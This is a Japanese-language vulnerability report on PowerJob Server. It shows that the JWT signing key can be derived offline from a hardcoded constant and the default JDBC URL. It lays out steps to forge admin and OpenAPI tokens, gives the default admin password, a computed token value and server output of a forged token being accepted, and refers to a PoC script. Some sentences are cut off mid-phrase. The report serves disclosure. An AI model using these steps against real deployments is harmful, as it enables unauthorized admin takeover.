PowerJob ServerのJWT(HS256)署名キーは、ハードコードされた定数とデフォルトJDBC URLのMD5を連結したものをBASE64デコードして導出されます(DefaultSecretProvider / JwtServiceImpl)。JDBC URLはデフォルトのデプロイメント(docker-compose / application-daily.properties)で公開されているため、攻撃者はキーを完全にオフラインで導出し、任意のユーザー(管理者を含む)の有効なJWTを偽造できます。また、OpenAPI App Tokenも同様に偽造してOpenAPI認証をバイパスできます。
application-daily.properties に jdbc:mysql://powerjob-mysql:3306/powerjob-daily?... が平文で公開powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: ハードコードされた BASE_SECURITY 定数; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken)にはPWJBアカウントの二次チェック(DigestUtils.rePassword(password, username))がありますが、以下の問題があります:
appId/password/encryptType)は直接偽造して認証をバイパス可能(OpenApiSecurityServiceImpl:87-105);環境: ローカルPowerJobサーバー(127.0.0.1:7700、JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true)。攻撃者は公開情報のみからすべてをオフラインで導出します:
# ① encryptedToken(= rePassword(password, username))を導出; デフォルトパスワードで計算可能
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # DBのuser_info.token_login_verify_infoとバイト単位で完全一致 ✅
# ② HS256署名キー = BASE64(BASE_SECURITY + MD5(JDBC_URL)) を導出
secret = BASE_SECURITY + md5(jdbc_url) # 101バイトのキー
# ③ ADMIN Web JWTを偽造(クレーム: username=PWJB_ADMIN, encryptedToken=①の結果, sub=PowerJob)
実際の結果(偽造トークンが認証を通過):
[*] /namespace/list トークンなし :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list 偽造JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ 偽造トークンは管理者として認証され、実際のデータを返します(ベースラインは UserNotLoggedIn で拒否されます)。
重要なポイント:
encryptedToken はDBに保存されている値とバイト単位で完全一致します(ADMIN_b82a450701f6a71723fb99931fe35e18_b)。BASE_SECURITY + 公開デフォルトJDBC URLのMD5のみで完全に決定されます → 資格情報なしでオフライン導出が可能。encryptedToken はデフォルトパスワード(powerjob_admin、発見事項PJ-02)でオフライン再計算可能 → 完全な管理者乗っ取りが可能。encryptedToken の不一致でブロックされますが、OpenAPI App Token 経路(クレーム appId/password/encryptType、OpenApiSecurityServiceImpl:87-105)は独立して偽造可能で、OpenAPI認証をバイパスできます。デフォルトパスワードが変更されても、他の攻撃ベクトルを通じて脆弱性は残ります:
encryptedToken を入手した攻撃者は、そのトークンと予測可能な署名キーを組み合わせて、その特定ユーザーのJWTを偽造できます。encryptedToken の不一致問題を完全にバイパスできます。偽造トークンには実際のデータベースレコードから導出された正当な encryptedToken が含まれるためです。PoC: powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken の二次チェックを適用すること。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical(デフォルトパスワード / OpenAPIと組み合わせた場合)